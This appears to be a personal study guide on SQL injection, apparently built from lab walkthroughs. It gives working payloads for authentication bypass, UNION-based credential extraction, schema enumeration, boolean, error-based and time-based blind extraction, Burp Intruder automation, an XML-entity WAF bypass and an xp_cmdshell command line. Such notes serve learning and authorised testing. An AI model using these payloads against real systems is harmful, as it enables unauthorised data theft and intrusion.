SQLi notes

Eyad Islam El-Taher

January 18, 2026

Introduction

SQL Injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It's one of the most common and dangerous web application vulnerabilities.

How It Works

Attackers insert malicious SQL code into input fields (like login forms, search boxes, or URL parameters) that gets executed by the database.

What is the impact of a successful SQL injection attack?

- Data Breach & Unauthorized Data Access
- Authentication Bypass
- Data Manipulation & Destruction
- Remote Code Execution
- Denial of Service (DoS)

Manual Detection Techniques

Input Field Testing

Test all user inputs with SQL-specific payloads:

Basic Test Payloads

```
' OR '1'='1
" OR "1"="1' OR '1'='1' --
" OR "1"="1" --
' OR '1'='1' /*
```

Numeric Input Testing

```
1 OR 1=1
1 AND 1=2
1' OR '1'='1
1" OR "1"="1
```

1.2 Error-Based Detection

Inject syntax to generate database errors:

```
' --
" --
' # " #
' /* " /*
```

Database-Specific Error Triggers

- **MySQL:** `' AND 1=CONVERT(int, @@version)-`
- **MSSQL:** `' AND 1=CAST(@@version AS int)-`
- **Oracle:** `'  AND 1=TO_NUMBER(USER)-`
- **PostgreSQL:** `' AND 1=CAST(VERSION() AS int)-`

Example: Retrieve ALL Products

Malicious URL:

```
https://insecure-website.com/products?category=Gifts'+OR+1=1--
```

Resulting SQL Query:

```
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
```

How it works:

- `OR 1=1` is a tautology (it is always true).
- `--` comment the following part
- The query effectively becomes: *"Show products where category is Gifts OR (always true)."*
- **Result:** The database ignores the original filtering and returns **ALL** products from **ALL** categories, including those that may not have been released yet.

Example: Password Bypass

Attack Vector
Malicious Input:

- **Username:** `administrator'--`
- **Password:** (blank or anything)

Resulting SQL Query:

```
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
```

How It Works

- **Username input:** `administrator'-`
- Closes the username string with a single quote (').
- Adds the SQL comment symbol (--) to ignore the rest of the query.

Query Transformation:

```
Original:        WHERE username = '[input]' AND password = '[input]'
After injection: WHERE username = 'administrator'--' AND password = ''
                                  ^               ^
                            Closes string here    Ignored as comment
```

Final Effective Query:

```
SELECT * FROM users WHERE username = 'administrator'
```

Result: No password check occurs. The database simply finds the user `administrator` and returns the record. The attacker logs in with full privileges without ever knowing the password.

Types of SQL Injection

In-band SQLi

This is the most common type, where the attacker uses the same communication channel to launch the attack and gather results.

- **UNION-based SQLi:** Leverages the `UNION` SQL operator to combine forged queries with the original query, forcing the application to return data from other tables.
- **Error-based SQLi:** The attacker deliberately submits malformed input that causes the database to return error messages, which can reveal information about the structure of the database.

Blind SQLi

In this type, no data is transferred directly from the database to the attacker, so they cannot see the result of an attack in-band. Instead, they infer information by observing the server's behavior.

- **Boolean-based (Content-based) Blind SQLi:** The attacker sends queries that force the application to return different results (e.g., true vs. false) based on whether the query holds.
- **Time-based Blind SQLi:** The attacker injects a command that forces the database to wait (pause) for a specific amount of time before responding. If the response is delayed, the attacker knows the query was true.

Out-of-band SQLi

This is the least common type, used when the attacker cannot use the same channel to launch the attack and gather results. It requires specific database features (like `UTL_HTTP` in Oracle) to make external network requests (DNS or HTTP) to a server controlled by the attacker.

Other Notable SQLi Types

- **Second-Order SQLi:** The malicious input is stored by the application (e.g., in a user profile) and later executed in a different, vulnerable query, making it harder to detect via standard input validation.

SQL Injection: UNION-Based Data Theft

The Scenario

Application: Returns product data based on a category filter.
Normal Query:

```
SELECT name, description FROM products WHERE category = 'Gifts'
```

The Attack: UNION Data Exfiltration

Malicious Input:

```
' UNION SELECT username, password FROM users--
```

Resulting SQL Query:

```
SELECT name, description FROM products WHERE category = 'Gifts'
UNION SELECT username, password FROM users--'
```

Technical Requirements for UNION Attacks

A UNION attack will only succeed if two conditions are met:

1. Column Count Match
The `UNION` operator requires both `SELECT` statements to return the same number of columns.

- **Method 1 (ORDER BY):** Increment the index until an error occurs.

```
' ORDER BY 1--  (Works)
' ORDER BY 2--  (Works)
' ORDER BY 3--  (Error! Conclusion: Only 2 columns exist)
```

- **Method 2 (NULL Injection):**

```
' UNION SELECT NULL--            (Error)
' UNION SELECT NULL, NULL--      (Works: 2 columns)
```

2. Compatible Data Types
The data types in the injected query must match the data types of the original query columns (e.g., strings must go into string columns).

```
' UNION SELECT 'abc', NULL--     (Test if column 1 accepts strings)
' UNION SELECT NULL, 'abc'--     (Test if column 2 accepts strings)
```

Full Attack Sequence Example

Step 1: Find Structure `category=Gifts' UNION SELECT NULL, NULL-`

Step 2: Find Strings `category=Gifts' UNION SELECT 'test', NULL-`

Step 3: Extract Schema (MySQL Example)
`' UNION SELECT table_name, NULL FROM information_schema.tables-`

Step 4: Extract Data `' UNION SELECT username, password FROM users-`

> **Result:** The application UI, which normally displays product names and descriptions, will now display the **usernames** and **passwords** from the users table.

Database-Specific SQL Injection Syntax

Key Differences Explained

Different database systems (DBMS) have unique syntax requirements. A payload that works on MySQL may fail on Oracle or PostgreSQL due to structural differences.

Oracle Database Special Requirements

Oracle requires every `SELECT` statement to have a `FROM` clause.

- **The DUAL Table:** A special one-row table used when no actual table is needed (e.g., `' UNION SELECT NULL, NULL FROM DUAL--`).
- **Example Attack:** `' UNION SELECT banner, NULL FROM v$version--`

MySQL Specific Syntax

- **Comment Variations:** MySQL uses `#`, `/* */`, or `--` (Note: The double-dash **must** be followed by a space).
- **System Functions:** Use `@@version` for the version and `user()` for the current user.

Microsoft SQL Server (MSSQL)

- **Stacked Queries:** Often allows executing multiple statements using a semicolon.
- **Dangerous Features:** `'; EXEC xp_cmdshell 'whoami'-` can lead to OS-level command execution.

Quick Reference Table

Database	Comment Syntax	Version Query	System Table
Oracle	`--`	`v$version`	`all_tables`
MySQL	`#`, `--`	`@@version`	`information_schema`
MSSQL	`--`, `/**/`	`@@version`	`sys.tables`
PostgreSQL	`--`, `/**/`	`version()`	`pg_tables`

Practical Examples by DBMS

Extracting Table Names:

- **MySQL:** `' UNION SELECT table_name, NULL FROM information_schema.tables#`
- **Oracle:** `' UNION SELECT table_name, NULL FROM all_tables--`
- **PostgreSQL:** `' UNION SELECT tablename, NULL FROM pg_tables--`

SQL Injection: Concatenating Multiple Values

The Problem

In many UNION-based attacks, the original query may only return a **single column**. If an attacker needs to extract multiple fields (like both `username` AND `password`), they must combine them into one string.

Database-Specific Concatenation Syntax

Different DBMS engines use different operators to join strings together:

Database	Operator / Function	Example Payload
Oracle	`||`	`username || '~' || password`
MySQL	`CONCAT()`	`CONCAT(username, '~', password)`
MSSQL	`+`	`username + '~' + password`
PostgreSQL	`||` or `CONCAT()`	`username || '~' || password`

Practical Attack Scenarios

Scenario: Single Column UNION

If the vulnerable query only returns the `product_name`, use the following to steal credentials:

Oracle Payload:

```
' UNION SELECT username || ':' || password FROM users--
```

MySQL Payload:

```
' UNION SELECT CONCAT(username, ':', password) FROM users#
```

Handling NULL Values

A common pitfall in concatenation is that if one column (like `password`) is `NULL`, the entire result might become `NULL`.

- **Oracle/PostgreSQL:** Use `COALESCE(password, ' ')`
- **MySQL:** Use `CONCAT_WS('~', username, password)` (automatically skips NULLs)

Real-World Attack Example

Target URL: `https://bank.com/transaction?id=123`
Goal: Extract User, Password, and Email via a 1-column result.

Step 1: Test Column Count
`id=123' ORDER BY 1-` (Works)
`id=123' ORDER BY 2-` (Error) → **Result: 1 Column**

Step 2: Execute Concatenated Extraction

```
id=123' UNION SELECT username || '|' || password || '|' || email FROM users-
```

Expected Output on Page:

```
Transaction: Payment to Vendor X
admin|P@ssw0rd2024|admin@bank.com
jsmith|Winter2023|john@bank.com
```

Oracle Database Version Enumeration

Attack Objective

Determining the specific Oracle version is critical for identifying known CVEs and adapting payloads to match Oracle's strict syntax requirements.

Prerequisite: Column Discovery

Before extracting version info, you must identify the column structure.

Step 1: Determine Number of Columns

```
' ORDER BY 1--     (Works)
' ORDER BY 2--     (Works)
' ORDER BY 3--     (Error! Result: 2 columns)
```

Step 2: Verify Text Columns
Oracle requires the `FROM dual` clause for these tests.

```
' UNION SELECT 'abc', 'def' FROM dual--
```

Version Enumeration Methods

Method 1: Using v$version (Most Comprehensive)

```
' UNION SELECT banner, NULL FROM v$version--
```

Method 2: Using v$instance

```
' UNION SELECT version, NULL FROM v$instance--
```

Understanding Oracle Version Output

When you query `v$version`, Oracle returns a detailed banner string.

Example Output:
`Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production`

- **19c**: Version Market Name
- **Enterprise**: Database Edition
- **19.0.0.0.0**: Internal Version Number (Major.Minor.Build)

Complete Attack Sequence (URL Construction)

1. **Base URL:** `https://shop.com/products?category=Gifts`
2. **Test Count:** `...category=Gifts' ORDER BY 3-` (Trigger Error)
3. **Test Types:** `...category=Gifts' UNION SELECT 'a', 'b' FROM dual-`
4. **Get Version:** `...category=Gifts' UNION SELECT banner, NULL FROM v$version-`

Quick Reference Table: Oracle Version Tables

Table Name	Purpose
`v$version`	Complete version and component info.
`v$instance`	Specific instance version number.
`product_component_version`	Individual versions of installed components.

Note: If you encounter a "Table or view does not exist" error, the database user may have restricted permissions on `v$version`. In such cases, try `product_component_version` as an alternative.

Oracle Database Schema Enumeration

The Objective

Once the database type (Oracle) and column count are confirmed, the next step is to map the database structure. This involves finding the names of tables that might contain sensitive data and then identifying the columns within those tables.

Step 1: Listing All Tables

In Oracle, the `all_tables` view contains a list of all tables accessible to the current user.

Attack Payload (URL Encoded):

```
'+UNION+SELECT+table_name,NULL+FROM+all_tables--
```

Decoded SQL:

```
' UNION SELECT table_name, NULL FROM all_tables--
```

Example Output on Page:

```
USERS_ABCDEF
PRODUCTS
ORDERS
PAYMENTS
ADMIN_SETTINGS
```

Step 2: Listing Columns of a Specific Table

After identifying a suspicious table (e.g., `USERS_ABCDEF`), you must query `all_tab_columns` to find where the credentials are stored.

Attack Payload (URL Encoded):

```
'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_ABCDEF'--
```

Decoded SQL:

```
' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name='USERS_ABCDEF'--
```

Example Output on Page:

```
USER_ID
USERNAME
PASSWORD
EMAIL
IS_ADMIN
```

Pro-Tip: Filtering System Tables

Oracle contains many internal system tables that can clutter your results. To find "user-defined" tables, you can add a filter for the owner:

```
' UNION SELECT table_name, NULL FROM all_tables WHERE owner != 'SYS'--
```

> **Summary:** By combining these two steps, an attacker moves from blind guessing to a targeted extraction of the `USERNAME` and `PASSWORD` columns from the `USERS_ABCDEF` table.

Database Enumeration Using INFORMATION_SCHEMA

Overview

The `INFORMATION_SCHEMA` is a standardized, read-only set of views available in MySQL, PostgreSQL, and SQL Server. It provides metadata about the database structure. **Oracle** is the notable exception, as it uses its own system views (e.g., `all_tables`).

INFORMATION_SCHEMA vs. Oracle System Views

Database	Table Metadata	Column Metadata
MySQL / MariaDB	`information_schema.tables`	`information_schema.columns`
PostgreSQL	`information_schema.tables`	`information_schema.columns`
SQL Server (MSSQL)	`information_schema.tables`	`information_schema.columns`
Oracle	`all_tables`	`all_tab_columns`

Core Enumeration Payloads

Listing All Tables

To retrieve table names across the database:

```
' UNION SELECT table_name, NULL FROM information_schema.tables--
```

Listing Columns for a Specific Table

To identify sensitive fields within a target table (e.g., 'Users'):

```
' UNION SELECT column_name, data_type FROM information_schema.columns
WHERE table_name='Users'--
```

DBMS-Specific Variations

MySQL / MariaDB:

```
-- List all available databases (schemas)
' UNION SELECT schema_name, NULL FROM information_schema.schemata--

-- Extract columns and data types in a single string
' UNION SELECT CONCAT(column_name, ' (', data_type, ')'), NULL
FROM information_schema.columns WHERE table_name='users'--
```

Microsoft SQL Server:

```
-- List all database names
' UNION SELECT name, NULL FROM sys.databases--

-- Join system tables for detailed column types
' UNION SELECT c.name + ' (' + t.name + ')', NULL FROM sys.columns c
JOIN sys.types t ON c.user_type_id = t.user_type_id
WHERE object_id = OBJECT_ID('Users')--
```

Complete Attack Workflow

Step 1: Database Discovery Identify the current database context using `schemata` or `sys.databases`.

Step 2: Filter for User Tables Ignore system noise by filtering out `information_schema` and `pg_catalog`.

```
' UNION SELECT table_name, table_schema FROM information_schema.tables
WHERE table_schema NOT IN ('information_schema', 'sys', 'pg_catalog')--
```

Step 3: Target "Interesting" Tables Search for keywords like *user, auth, account,* or *pass.*

```
... WHERE table_name LIKE '%user%' OR table_name LIKE '%pass%'--
```

Step 4: Data Extraction Combine the discovered column names into a final query.

```
' UNION SELECT CONCAT(username, ':', password), NULL FROM users--
```

> **Note:** When using `WHERE table_name='Users'`, remember that some databases (like PostgreSQL) are case-sensitive. If 'Users' returns no results, try 'users'.

Blind SQL Injection

What is Blind SQL Injection?

Blind SQL injection occurs when an application is vulnerable to injection, but its HTTP responses do not contain the results of the relevant SQL queries or any database errors.

- **No Visible Data:** Injected query results are never displayed.
- **No Error Messages:** The application handles database errors gracefully, showing only a generic "Error" page or a normal page.
- **Behavioral Inference:** Attackers must infer data by observing *how* the application responds (e.g., changes in content or response time).

Types of Blind SQL Injection

Boolean-Based Blind SQLi

The application responds differently based on whether a condition is **TRUE** or **FALSE**.

Detection Logic:

```
-- Scenario: id=1 returns a "Product Details" page.

?id=1 AND 1=1  --> Returns "Product Details" (TRUE condition)
?id=1 AND 1=2  --> Returns "Product Not Found" (FALSE condition)
```

The Attack: By using string functions, an attacker can guess a password character by character:

```
-- "Does the admin password start with 'a'?"
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1) = 'a'--
```

Time-Based Blind SQLi

The attacker injects a command that forces the database to wait (pause) for a specific amount of time if a condition is true.

Detection Logic:

```
-- If the condition is TRUE, the server waits 5 seconds before responding.

-- MySQL Example:
?id=1 AND IF(1=1, SLEEP(5), 0) -- (Page loads in 5s)
?id=1 AND IF(1=2, SLEEP(5), 0) -- (Page loads instantly)
```

Database-Specific Time Delays

Database	Delay Command
MySQL	`SLEEP(5)`
PostgreSQL	`pg_sleep(5)`
MSSQL	`WAITFOR DELAY '0:0:5'`
Oracle	`dbms_pipe.receive_message(('a'), 5)`

Why Blind SQLi is Challenging

Unlike UNION-based attacks which retrieve entire tables in one go, Blind SQLi requires hundreds or thousands of requests to extract a single password.

Example Process:

1. Ask: Is the password length 8? (No delay)
2. Ask: Is the password length 9? (Delay! Result: Length is 9)
3. Ask: Is the 1st character 'a'? (No delay)
4. Ask: Is the 1st character 'b'? (Delay! Result: 1st char is 'b')

Blind SQLi: Boolean Condition Testing

Step 1: Confirming the Vulnerability

In a boolean blind attack, we look for a change in the page content (e.g., a "Welcome back" message appearing or disappearing) based on our injected logic.

TRUE Condition (Data is returned):

```
TrackingId=xyz' AND '1'='1
```

Result: `SELECT ... WHERE TrackingId = 'xyz' AND '1'='1'`
Logic is **TRUE** → Page shows "Welcome back".

FALSE Condition (No data returned):

```
TrackingId=xyz' AND '1'='2
```

Result: `SELECT ... WHERE TrackingId = 'xyz' AND '1'='2'`
Logic is **FALSE** → Page does **not** show "Welcome back".

Password Extraction Process

We can use the `SUBSTRING` function to isolate one character at a time and test it against the alphabet.

The Extraction Algorithm

To find the first character of the `Administrator` password:

1. **Test Range (Higher/Lower):**

   ```
   xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username='Administrator'), 1, 1) > 'm'--
   ```

   Response: "Welcome back" → **TRUE**. The character is in the second half of the alphabet.

2. **Narrow the Search:**

   ```
   xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username='Administrator'), 1, 1) > 't'--
   ```

   Response: No message → **FALSE**. The character is between 'n' and 't'.

3. **Confirm the Character:**

   ```
   xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username='Administrator'), 1, 1) = 's'--
   ```

   Response: "Welcome back" → **CONFIRMED**. The first character is **'s'**.

Burp Suite Blind SQL Injection Walkthrough

Initial Reconnaissance

The goal of this phase is to capture a baseline request and identify where the injection point lies.

- **Intercept Request:** Navigate to the shop front page. Burp Suite Proxy intercepts the request containing the session cookie:

  ```
  Cookie: TrackingId=xyz
  ```

Confirm Blind SQL Injection Vulnerability

We must observe how the application handles logical truths versus logical falsehoods.

- **Test 1: Always TRUE condition**

  ```
  Cookie: TrackingId=xyz' AND '1'='1
  ```

  Result: "Welcome back" appears in the response body.

- **Test 2: Always FALSE condition**

  ```
  Cookie: TrackingId=xyz' AND '1'='2
  ```

  Result: "Welcome back" disappears.

Conclusion: The difference in the response content confirms a Boolean-based blind SQL injection vulnerability.

Database Enumeration

Once confirmed, we move to identifying specific tables and users within the database.

- **Test 3: Confirm if 'users' table exists**

  ```
  Cookie: TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a
  ```

  Result: "Welcome back" appears → The `users` table exists.

- **Test 4: Confirm if 'administrator' user exists**

  ```
  Cookie: TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a
  ```

  Result: "Welcome back" appears → The `administrator` user exists.

Determine Password Length

Before extracting characters, we must know how many times we need to iterate.

- **Test 5: Testing password length**

  ```
  Cookie: TrackingId=xyz' AND (SELECT 'a' FROM users
  WHERE username='administrator' AND LENGTH(password)>1)='a
  ```

- **Procedure:** Increment the number (e.g., `>2`, `>3`, etc.) until the "Welcome back" message disappears.
- If `LENGTH(password)>19` is TRUE but `LENGTH(password)>20` is FALSE, the password is exactly 20 characters long.

Extract Password Character by Character

Prepare for Burp Intruder Attack

To avoid manual testing for every character, we use Burp Intruder to automate the extraction process.

Set Payload Positions

In the **Positions** tab, identify the character you want to test and wrap it in payload markers (§).

Targeted Cookie String:

```
TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users
WHERE username='administrator')='§a§
```

Payload Configuration

- **Payload Options:** Add the character set you want to test against (e.g., a–z, 0–9). You can use the "Add from list" feature in Burp to quickly populate common alphanumeric sets.

Analyzing the Results

Once the attack is started, monitor the **Render** tab or the **Length** column.

- Most requests will return a "False" response (page without "Welcome back").
- One specific request (e.g., for the letter 's') will result in a different response length or the "Welcome back" string.
- **Result:** This confirms the first character of the password.

Error-Based SQL Injection

What is Error-Based SQL Injection?

Error-based SQL injection exploits database error messages to extract or infer sensitive data. This is used when an application doesn't show direct query results but its behavior changes when a database-level error occurs.

Two Types of Error-Based SQLi

- **Conditional Error-Based (Blind):** Triggers an error only when a specific condition is TRUE. You infer data by the presence or absence of an error response.
- **Verbose Error-Based (Visible):** Manipulates the query so the database error message itself contains the requested data (e.g., the version string or a password).

Conditional Error-Based SQL Injection

The core concept is using a `CASE` statement to force a database error (like divide-by-zero) only when a condition is met.

Basic Example:

```
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
```

The Breakdown:

- **Condition TRUE:** Hits `1/0` → Database Error → Application shows "Internal Server Error".
- **Condition FALSE:** Hits `ELSE 'a'` → Normal execution → Application shows "Welcome back" or normal content.

Practical Attack Examples

Testing Simple Conditions

```
-- Should cause error (TRUE)
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

-- Should NOT cause error (FALSE)
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
```

Extracting Password Character

```
xyz' AND (SELECT CASE WHEN (
    Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm'
) THEN 1/0 ELSE 'a' END FROM Users)='a
```

Database Version Check

```
xyz' AND (SELECT CASE WHEN (@@version LIKE '%MySQL%')
THEN 1/0 ELSE 'a' END)='a
```

Database-Specific Conditional Error Techniques

MySQL:

- **Division by Zero:** `' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 0 END)=0`
- **ExtractValue (Visible Error):**
  `' AND extractvalue(1, concat(0x7e, (SELECT @@version), 0x7e))-`

Oracle:

- **TO_NUMBER:** `' AND (SELECT CASE WHEN (1=1) THEN TO_NUMBER('ERROR') ELSE 0 END) FROM DUAL-`

Security Note: Error-based injection is often faster than Boolean-based blind injection because a 500 Error is a very distinct and easy-to-detect state for automated tools to identify.

Oracle Error-Based Blind SQL Injection Walkthrough

Initial Error Testing

The first step is to verify if the input parameter is vulnerable to injection and how the server handles syntax errors.

- **Trigger Syntax Error:** `TrackingId=xyz'`
  Result: Error message received (e.g., HTTP 500).
- **Fix Syntax:** `TrackingId=xyz''`
  Result: Error disappears. This confirms the single quote is breaking the query.

Database Fingerprinting

We use Oracle-specific syntax to confirm the back-end database type.

- **Test Basic Subquery:** `TrackingId=xyz'||(SELECT '')||'`
  Result: Error. This suggests the database requires a `FROM` clause.
- **Test with Oracle DUAL Table:** `TrackingId=xyz'||(SELECT '' FROM dual)||'`
  Result: No error. This confirms the database is **Oracle**.

Conditional Error Testing

To extract data, we must force the database to crash only when our specific condition is met.

Testing the Error Mechanism:

- **TRUE condition with error:**

```
TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0)
ELSE '' END FROM dual)||'
```

  Result: **Error (HTTP 500)**. The database executed the division by zero.

- **FALSE condition without error:**

```
TrackingId=xyz'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0)
ELSE '' END FROM dual)||'
```

  Result: **No error (HTTP 200)**. The database followed the `ELSE` path.

Determine Password Length

By iterating through numerical comparisons, we can find the exact length of the administrator's password.

- **Payload Example:**

```
TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>19
THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
```

- **Logic:** If `LENGTH > 19` causes an error but `LENGTH > 20` does not, the password is exactly 20 characters long.

Character Extraction with Burp Intruder

Once the length is known, we use Burp Intruder to automate the extraction of each character.

Targeted Payload for Intruder:

```
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='§a§'
THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
```

- **Analysis:** Look for the request that results in an HTTP 500 error. If the payload `s` triggers the error, then the a character of the password is `s`.

Verbose Error-Based SQL Injection: Extracting Data via Error Messages

Scenario Overview

In this scenario, a database misconfiguration leads to verbose error messages being returned to the user. By forcing a type-conversion error, an attacker can trick the database into displaying sensitive data as part of the error message itself. This effectively turns a "blind" injection point into a "visible" one.

Initial Discovery

The attack begins by intentionally breaking the query to observe the error handling.

- **Test with Single Quote:** Submitting `TrackingId=ogAZZfxtOKUELbuJ'`
- **Response Error:**

```
Unterminated string literal started at position 52 in SQL
SELECT * FROM tracking WHERE id = '''. Expected char
```

Insight: This reveals the full SQL structure and confirms that the database type is likely PostgreSQL or MSSQL based on the error phrasing.

Syntax Correction and CAST Operations

To extract data, we must create a query that is syntactically correct but logically flawed (triggering an error).

- **Fixing the Syntax:** `TrackingId=ogAZZfxtOKUELbuJ'--` The `-` comments out the trailing single quote, making the query valid again.
- **The CAST Trick:** We attempt to convert the result of a subquery (a string) into an integer.

```
Cookie: TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT 1) AS int)--
```

If the above returns no error, the injection point is ready for data extraction.

Extracting Usernames and Passwords

By replacing `SELECT 1` with a query for sensitive columns, the database will attempt to "cast" the found string into a number and fail.

- **Targeting the Username:**

```
Cookie: TrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
```

- **The Resulting Leaked Data:**

```
ERROR: invalid input syntax for type integer: "administrator"
```

- **Targeting the Password:**

```
Cookie: TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--
```

- **The Resulting Leaked Data:**

```
ERROR: invalid input syntax for type integer: "s3cur3p@ssw0rd123"
```

Mechanism of the CAST Leak

The vulnerability lies in the sequence of operations within the database engine:

1. The subquery `SELECT username FROM users LIMIT 1` executes and retrieves the string `'administrator'`.
2. The `CAST` function attempts to convert `'administrator'` into an `integer`.
3. The conversion fails because letters cannot be integers.
4. The database generates an error message that includes the value it *tried* to convert, thereby printing the sensitive data to the screen.

Database Detection via Error Patterns

Attackers can identify the backend DBMS by the specific formatting of the conversion error:

Error Message Pattern	Likely Database
`invalid input syntax for type integer`	PostgreSQL
`Conversion failed when converting...`	MS SQL Server
`Truncated incorrect INTEGER value`	MySQL
`invalid number`	Oracle

Handling Character Limits

If the `TrackingId` cookie has a length restriction, the following techniques are used to shorten the payload:

- **Remove Original Value:** Set the original ID to an empty string (`TrackingId='`) to save space for the injection.
- **Substring Extraction:** If the data itself is too long for the error message, extract it in chunks:

```
-- Extract first 10 chars
' AND 1=CAST((SELECT SUBSTRING(password,1,10) FROM users LIMIT 1) AS int)--
```

XML-Based SQL Injection with WAF Bypass

Vulnerability Identification

XML-based injection occurs when an application takes input from an XML document and uses it unsafely in a database query. Because the input is wrapped in XML tags, traditional security scanners might overlook it.

Attack Surface Discovery

The target endpoint is a stock check feature that communicates via XML.

- **Endpoint:** `POST /product/stock`
- **Data Format:** XML
- **Vulnerable Parameter:** `<storeId>`

Original Request Structure:

```
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
    <productId>1</productId>
    <storeId>1</storeId>
</stockCheck>
```

Initial Testing and WAF Detection

To confirm injection, we test if the database performs mathematical evaluation on our input.

- **Mathematical Evaluation:** Submitting `<storeId>1+1</storeId>`. If the application returns stock for Store #2 instead of Store #1, it confirms the input is being evaluated by the SQL engine.
- **SQL Keyword Testing:** Submitting `<storeId>1 UNION SELECT NULL</storeId>`. **Result:** The request is blocked (e.g., HTTP 403 Forbidden). This indicates a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) is inspecting the XML content for SQL keywords.

WAF Bypass Using XML Encoding

WAFs often search for plaintext strings like `UNION` or `SELECT`. However, XML parsers are designed to decode "entities" (like `&#x41;` for 'A') before the data is passed to the application logic.

XML Entity Encoding Strategy

By converting the SQL payload into hex or decimal XML entities, the WAF sees a string of random-looking characters, while the database receives the intended SQL command.

Encoding Comparison:

- **Original Payload:** `1 UNION SELECT NULL`
- **Hex Encoded:** `1&#x55;&#x4e;&#x49;&#x4f;&#x4e;&#x20;&#x53;...`
- **Decimal Encoded:** `1&#85;&#78;&#73;&#79;&#78;&#32;&#83;...`

Automating Bypass with Hackvertor

In Burp Suite, the **Hackvertor** extension can automate this process using tags that encode the content in real-time.

1. Highlight the payload: `1 UNION SELECT NULL`
2. Right-click → Extensions → Hackvertor → Encode → `hex_entities`.
3. The resulting tag looks like: `<@hex_entities>1 UNION SELECT NULL<@/hex_entities>`.

   Key Takeaway: Obfuscation via encoding is one of the most effective ways to bypass pattern-matching security controls. Always test multiple encoding types (URL, Hex, Unicode, Base64) when a WAF is present.

Time-Based Blind SQL Injection

What is Time-Based Blind SQL Injection?

Time-based blind SQL injection is an inferential technique used when the application does not return any data or database errors in its HTTP responses. It relies on the database pausing its execution for a specific duration when a condition is met. By measuring the time it takes for the server to respond, an attacker can determine if an injected query evaluated to TRUE or FALSE.

Core Principle:

- **Condition TRUE:** The database executes a sleep command → Delayed response.
- **Condition FALSE:** The database skips the sleep command → Immediate response.

Database-Specific Time Delay Functions

Each database management system has its own method for pausing execution.

PostgreSQL

- **Basic Sleep:** `SELECT pg_sleep(10);`
- **Injection Example:** `TrackingId=x'||(SELECT pg_sleep(10))||'`

Microsoft SQL Server (MSSQL)

- **Basic Delay:** `WAITFOR DELAY '0:0:10'`
- **Conditional:** `'; IF (1=1) WAITFOR DELAY '0:0:10'-`

MySQL / MariaDB

- **Basic Sleep:** `SLEEP(10)`
- **Conditional:** `SELECT IF(1=1, SLEEP(10), 0)`

Oracle

- **Built-in Procedure:** `BEGIN DBMS_LOCK.SLEEP(10); END;`
- **Alternative Function:** `DBMS_PIPE.RECEIVE_MESSAGE('a',10)`

Attack Methodology

Step 1: Confirming the Vulnerability

Before attempting to extract data, we must prove the server is susceptible to timing-based commands.

1. **Trigger Delay:** `TrackingId=x'||pg_sleep(10)-` (Expect 10s response).
2. **Validate Control:** `TrackingId=x'||pg_sleep(0)-` (Expect immediate response).

Step 2: Conditional Time Delays

Once confirmed, we wrap the sleep function in a `CASE` statement to test logical conditions.

```
Cookie: TrackingId=x'||(SELECT CASE WHEN (1=1) THEN pg_sleep(10)
ELSE pg_sleep(0) END)||'
```

Step 3: Data Extraction

Data is extracted bit-by-bit or character-by-character. To optimize this, attackers often use **ASCII** values and **Binary Search** (> or < operators) to reduce the number of requests.

Extracting First Password Character:

```
Cookie: TrackingId=x'||(SELECT CASE WHEN (SUBSTRING(password,1,1)='a')
THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users
WHERE username='administrator')||'
```

Time-Based Blind SQL Injection: Complete Walkthrough

Understanding the Payload Structure

When an application suppresses all output and errors, we use timing to "ask" the database questions.

Decoded Payload Analysis:

```
TrackingId=x';SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--
```

- `x'` - Breaks the original SQL string literal.
- `;` - The semicolon acts as a query separator, allowing us to append a new command.
- `SELECT CASE...` - A logical gate that executes `pg_sleep(10)` if the condition is TRUE.
- `--` - Comments out the rest of the original query to prevent syntax errors.

Confirming the Vulnerability

- **Test 1: Always TRUE Condition**
  `TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)...`
  Result: 10 second delay observed.
- **Test 2: Always FALSE Condition**
  `TrackingId=x'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)...`
  Result: Immediate response.

Determining Password Length

We use the `LENGTH()` function to incrementally test the password size until the delay disappears.

- **Example:** `...CASE WHEN (LENGTH(password)>19) THEN pg_sleep(10)...` → **Delay**.
- **Example:** `...CASE WHEN (LENGTH(password)>20) THEN pg_sleep(10)...` → **No Delay**.
- **Conclusion:** The password is exactly 20 characters long.

Burp Intruder Configuration

To extract the password, we automate the process using Burp Intruder.
1. Set Payload Positions
2. Resource Pool (Critical)

- **Setting:** Maximum concurrent requests = **1**.
- **Reason:** If requests are sent in parallel, the server's response time for one request might be delayed by a different request's `pg_sleep`, leading to false positives.

Analyzing Intruder Results

Once the attack starts, we sort the results by the **"Response received"** column (measured in milliseconds).

